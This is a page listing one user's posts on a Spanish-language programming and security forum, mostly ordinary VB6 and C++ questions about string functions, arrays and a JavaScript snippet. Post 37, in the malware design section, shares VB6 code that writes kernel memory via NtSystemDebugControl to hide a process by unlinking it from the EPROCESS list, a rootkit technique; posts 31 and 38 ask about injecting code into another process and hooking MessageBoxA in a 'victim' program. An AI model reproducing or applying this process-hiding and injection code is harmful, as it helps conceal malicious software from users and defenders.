|
Mostrar Temas
|
Páginas: 1 2 3 [4] 5
|
31
|
Programación / Programación C/C++ / [RESUELTO] C++ ASM
|
en: 17 Marzo 2012, 08:27 am
|
Hola, estaba queriendo hacer cosas que nunca había hecho, entonces se me ocurrió hacer un programa en VB con funciones Públicas en un módulo, pude obtener el Address de esa función, la misma contenía una modificación de una variable global mientras que en el form había un Timer que siempre mostraba esa variable global, la función cambia el valor de la variable por algún otro, ej 333. Desde C++ hice una dll que se injectara en el proceso, cuando en C++ utilicé __asm he hice: pushad pushfd call address popfd popad
se me crasheaba el programa, vi que mostraba access violation, entonces le di permisos, pude hacer funcionar un mov [eax] (address), valor, pero no pude hacer que se ejecutara la función, tienen alguna idea? Desde ya, gracias (Y)
|
|
|
32
|
Programación / Programación C/C++ / [SOLUCIONADO] VB Ucase
|
en: 8 Febrero 2012, 20:23 pm
|
Hola estoy aqui nuevamente, queria saber si alguno tiene idea como lograr el Ucase de vb, por ejemplo Ucase(STRING), porque cree la funcion InStr de vb pero no identifica minusculas y mayusculas, entonces me gustaria antes hacer str1 = Ucase(Param1) str2 = Ucase(Param2) y luego seguir con el code, desde ya, muchas gracias. EI: juntando mensajes.Hola a todos, pude resolverlo, aqui esta la respuesta: #include <algorithm> #include <string> .... string M_Ucase(string Cadena) { std::transform(Cadena.begin(), Cadena.end(), Cadena.begin(), ::toupper); return Cadena; } /* Dentro del main pueden hacer cout << M_Ucase("blabla") << std::endl; */
|
|
|
33
|
Programación / Programación C/C++ / [SOLUCIONADO] VB Redim Preserve
|
en: 26 Enero 2012, 03:45 am
|
Hola nuevamente, estuve buscando como lograr el redim de VB en C++, pero no pude hacer funcionar varios códigos descargados desde internet porque lo que estoy tratando de hacer es realizarlo con una estructura como por ejemplo:
struct MiStruct { long ID; vector<string> v1;
vector<string> v2;
string Resultado; } M_Var[1];
Y que le cargue datos en el index 1, lo que quiero hacer es redimencionarla a 2 por ejemplo, sin perder los valores anteriores.
Desde ya muchas gracias.
|
|
|
34
|
Programación / Programación C/C++ / [SOLUCIONADO] VB Split
|
en: 23 Enero 2012, 04:35 am
|
Hola, estaba buscando informacion de como lograr el split de vb6 en c++, he encontrado varios codigos e inclusive he hecho 1, pero funciona con char y cuando lo intento hacer con string (el delimitador) me retorna cualquier cosa. Lo que quiero lograr es: var = Split("Texto /- de /- prueba /--", "/-")
Lo cual retornaria dentro de la variable ( var(3) ) "Texto " " de " " prueba " "-" Cualquier ayuda o aporte seria de gran ayuda, mientras tanto sigo tratando de hacerlo o encontrar inforamcion al respecto, desde ya muchas gracias. PD: Utilizo VS 2010. Edit: O simplemente: NewSplit(cadena, delim, index) var = Split("Texto /- de /- prueba /--", "/-", 3) //que sería "-"
|
|
|
35
|
Programación / Programación Visual Basic / [Ayuda] CMD Echo
|
en: 10 Septiembre 2011, 23:56 pm
|
Hola, estoy queriendo enviar texto a una ventana MDOS/CMD/command prompt abierta, el texto que deseo enviar no es tipo sendkey o sendmessage o postmessage, sinó como un "echo hola", que se imprime un enter, luego el hola luego otro enter y aparece el directorio en el que estaba para poder seguir escribiendo comandos, con el IDA encontré _cmd_printf, pero la verdad que no quiero llegar al punto de injectar dlls para enviar un echo, lo pensé hacer en ASM inline pero me cuesta mucho, mientras tanto me gustaría alguna opinión de ustedes, desde ya muchas gracias.
|
|
|
36
|
Programación / Desarrollo Web / [Ayuda] Abrir ventana
|
en: 28 Julio 2011, 17:16 pm
|
Hola hice éste código y no funciona, supuestamente está bien <script language="javascript"> function topen(dominio) { var1 = 'mail.' + dominio; window.open('http://' + var2 + ':81/admin/list.cgi?domain=' + dominio + '&cmd=1'); } </script> <form name="test" method="post"> <LABEL for="dominio">Dominio: </LABEL> <INPUT type="text" dom="dom"> <br> <input type="button" value="Abrir" onclick="topen(dom.value)" /> </form>
Alguna idea? Desde ya muchas gracias.
|
|
|
37
|
Seguridad Informática / Análisis y Diseño de Malware / [Aporte chico] VB Inject KM from UM
|
en: 11 Julio 2011, 21:31 pm
|
Hola, acá les dejo un code que por ahí les sirve a los que saben mucho, pude arreglarlo un poco pero no entiendo como funciona, lo que hace es injectar kernel mode desde user mode. Form1: Option Explicit Private Sub Command1_Click() Dim pEP As Long Dim le As LIST_ENTRY pEP = GetEProcess(Text1.Text) 'PID Call ReadKernelMemory(pEP + &H88, VarPtr(le), 8) 'Dereference LE MsgBox le.pBlink & vbCrLf & le.pFlink Stop 'Call RtlAdjustPrivilege(20, 1, 0, 1) 'Also: Make sure you have SeDebug enabled of course. 'Can be easily done with: (20 = SeDebug's priv val) 'Call RtlAdjustPrivilege(20, 1, 0, 1) 'Fun stuff indeed Call WriteKernelMemory(le.BLink, VarPtr(le.FLink), 4) 'A.FLink = &(C) AKA: *(B.BLink+0) = le.FLink This changes A's FLink from the address of B, to the address of C Call WriteKernelMemory(le.FLink + 4, VarPtr(le.BLink), 4) 'C.Blink = &(A) AKA: *(B.FLink+4) = le.BLink This changes C's BLink from the address of B, to the address of A End Sub Private Sub Form_Load() Text1.Text = GetPEBAddress End Sub
Module1 Option Explicit 'To modify kernel memory from usermode you can use the NtSystemDebugControl API function. 'Found it from some chinese forum =]. 'You wouldn 't believe the kind of crazy stuff they implement inside of VB6. (Most I cannot understand though because I lack knowledge of ASM.) 'That code has really opened new doors for me and really got me interested in kernel data structures, rootkits, WinDbg, and the book "Subverting the Windows Kernel" 'In any case, here is an example of hiding a process by unlinking it from the _EPROCESS chain at 0x88 (I think WinDbg calls the member ActiveProcessLinks) Public Type LIST_ENTRY pFlink As Long pBlink As Long End Type 'http://forum.sysinternals.com/tip-run-process-in-system-account-scexe_topic16714_post88025.html Public Declare Function NtSystemDebugControl Lib "NTDLL" (ByVal ControlCode As Long, ByRef InputBuffer As Any, ByVal InputBufferLength As Long, ByRef OutputBuffer As Any, ByVal OutputBufferLength As Long, ByRef ReturnLength As Long) As Long Public Type MEMORY_CHUNKS VirtualAddress As Long Buffer As Long BufferSize As Long End Type Public Const DebugReadVirtualMemory& = 8 Public Const DebugWriteVirtualMemory& = 9 Public Type PROCESS_BASIC_INFORMATION ExitStatus As Long 'NTSTATUS PebBaseAddress As Long 'PPEB AffinityMask As Long 'ULONG_PTR BasePriority As Long 'KPRIORITY UniqueProcessId As Long 'ULONG_PTR InheritedFromUniqueProcessId As Long 'ULONG_PTR End Type Public Declare Function ZwQueryInformationProcess Lib "NTDLL.DLL" (ByVal ProcessHandle As Long, ByVal ProcessInformationClass As PROCESSINFOCLASS, ByVal ProcessInformation As Long, ByVal ProcessInformationLength As Long, ByRef ReturnLength As Long) As Long Public Enum PROCESSINFOCLASS ProcessBasicInformation ProcessQuotaLimits ProcessIoCounters ProcessVmCounters ProcessTimes ProcessBasePriority ProcessRaisePriority ProcessDebugPort ProcessExceptionPort ProcessAccessToken ProcessLdtInformation ProcessLdtSize ProcessDefaultHardErrorMode ProcessIoPortHandlers '// Note: this is kernel mode only ProcessPooledUsageAndLimits ProcessWorkingSetWatch ProcessUserModeIOPL ProcessEnableAlignmentFaultFixup ProcessPriorityClass ProcessWx86Information ProcessHandleCount ProcessAffinityMask ProcessPriorityBoost ProcessDeviceMap ProcessSessionInformation ProcessForegroundInformation ProcessWow64Information ProcessImageFileName ProcessLUIDDeviceMapsEnabled ProcessBreakOnTermination ProcessDebugObjectHandle ProcessDebugFlags ProcessHandleTracing ProcessIoPriority ProcessExecuteFlags ProcessResourceManagement ProcessCookie ProcessImageInformation MaxProcessInfoClass '// MaxProcessInfoClass should always be the last enum End Enum Public Declare Function NtCurrentTeb Lib "NTDLL" () As Long Public Declare Function IsBadReadPtr Lib "kernel32" (ByVal lp As Long, ByVal ucb As Long) As Long Public Declare Sub RtlMoveMemory Lib "kernel32" (ByVal Destination As Long, ByVal Source As Long, ByVal Length As Integer) Public Function GetPEBAddress() As Long On Error GoTo NotSupported Dim pbi As PROCESS_BASIC_INFORMATION, Dummy As Long If ZwQueryInformationProcess(-1&, 0&, VarPtr(pbi), Len(pbi), Dummy) = 0 Then GetPEBAddress = pbi.PebBaseAddress Else GetPEBAddress = GetPEBAddressinXP End If NotSupported: End Function Public Function ReadKernelMemory(ByVal VirtualAddress As Long, ByVal Buffer As Long, ByVal BufferSize As Long) As Long Dim MemoryChunks As MEMORY_CHUNKS MemoryChunks.VirtualAddress = VirtualAddress MemoryChunks.Buffer = Buffer MemoryChunks.BufferSize = BufferSize ReadKernelMemory = NtSystemDebugControl(DebugReadVirtualMemory, MemoryChunks, Len(MemoryChunks), ByVal 0&, 0, ByVal 0&) End Function Public Function WriteKernelMemory(ByVal VirtualAddress As Long, ByVal Buffer As Long, ByVal BufferSize As Long) As Long Dim MemoryChunks As MEMORY_CHUNKS MemoryChunks.VirtualAddress = VirtualAddress MemoryChunks.Buffer = Buffer MemoryChunks.BufferSize = BufferSize WriteKernelMemory = NtSystemDebugControl(DebugWriteVirtualMemory, MemoryChunks, Len(MemoryChunks), ByVal 0&, 0, ByVal 0&) End Function Public Function GetPEBAddressinXP() As Long On Error GoTo NotSupported 'Windows 9X/Me will occures error Dim pTeb As Long, ppPeb As Long pTeb = NtCurrentTeb 'get TEB On Error Resume Next ' on error ignore If pTeb = 0 Then Exit Function 'if it has invalid TEB, run away this procedure ' +0x030 ProcessEnvironmentBlock : _PEB ppPeb = pTeb + &H30& 'check IsValid If IsBadReadPtr(ByVal ppPeb, 4) Then Exit Function ' returns PEB RtlMoveMemory GetPEBAddress, ByVal ppPeb, 4 NotSupported: End Function
Los que quieran aportar conocimientos y funcionamientos, bienvenidos sean . Saludos. Edit: Falta código que no lo pude conseguir ni completar.
|
|
|
38
|
Programación / Programación Visual Basic / AddressOf / Tamaño de funcion
|
en: 9 Mayo 2011, 23:14 pm
|
Hola a todos, estuve viendo el tema del address de una función. Código: [Module1] Option Explicit Sub Main() 'MsgBox Hex(AddressOf procesoX) 'Dim ThisAddress& 'ThisAddress& = Adrs&(AddressOf procesoX) 'MsgBox ThisAddress& & " - (" & Hex(ThisAddress&) & ")" End Sub Public Function Adrs(ByVal Addrs As Long) As Long Adrs = Addrs End Function Public Function procesoX(ParamArray ParametrosX() As Variant) As String procesoX = "procesoX" End Function Public Function Valor(ByVal v1 As Long, ByVal v2 As Long) As Long Valor = v1 + v2 End Function Public Sub Mensaje() MsgBox "Test" End Sub
[Form1] Option Explicit Private Sub Command1_Click() Dim ThisAddress As Long Text1.Text = "" ThisAddress = Adrs(AddressOf procesoX) Text1.Text = Text1.Text & "AddressOf procesoX: " & Hex(ThisAddress) & vbCrLf & _ "[Public Function procesoX(ParamArray ParametrosX() As Variant) As String" & vbCrLf & _ "procesoX = ''procesoX''" & vbCrLf & _ "End Function" & "]" & vbCrLf & vbCrLf ThisAddress = Adrs(AddressOf Valor) Text1.Text = Text1.Text & "AddressOf Valor: " & Hex(ThisAddress) & vbCrLf & _ "[Public Function Valor(ByVal v1 As Long, ByVal v2 As Long) As Long" & vbCrLf & _ "Valor = v1 + v2" & vbCrLf & _ "End Function" & "]" & vbCrLf & vbCrLf ThisAddress = Adrs(AddressOf Mensaje) Text1.Text = Text1.Text & "AddressOf Mensaje: " & Hex(ThisAddress) & vbCrLf & _ "[Public Sub Mensaje()" & vbCrLf & _ "MsgBox ''Test''" & vbCrLf & _ "End Sub" & "]" 'ThisAddress& = Adrs&(AddressOf Mensaje) 'Me.Caption = Hex(ThisAddress) End Sub Private Sub Command2_Click() Call Mensaje End Sub
Gracias a BlackZeroX por el este code que me dió hace mucho Ahora la pregunta es: cómo puedo obtener la longitud de cada función? Porque lo que estoy tratando de hacer, es injectar en otro programa solo la función Mensaje (por ejemplo) y hacerle un jmp en el MessageBoxA del ejecutable víctima, donde alojé dicha función. Gracias a to2.
|
|
|
40
|
Programación / Programación Visual Basic / [Resuelto] Chinese - Japanese
|
en: 26 Diciembre 2010, 12:08 pm
|
Hola a to2, una vez, como me suele pasar, encontré un código que me mostraba un mensaje (MsgBox) con Kanjis (simbolos chinos / japoneses) no me acuerdo donde está, vale oro, alguno de ustedes sabe como hacer éso? Desde ya muchas gracias.
|
|
|
|
|
|
|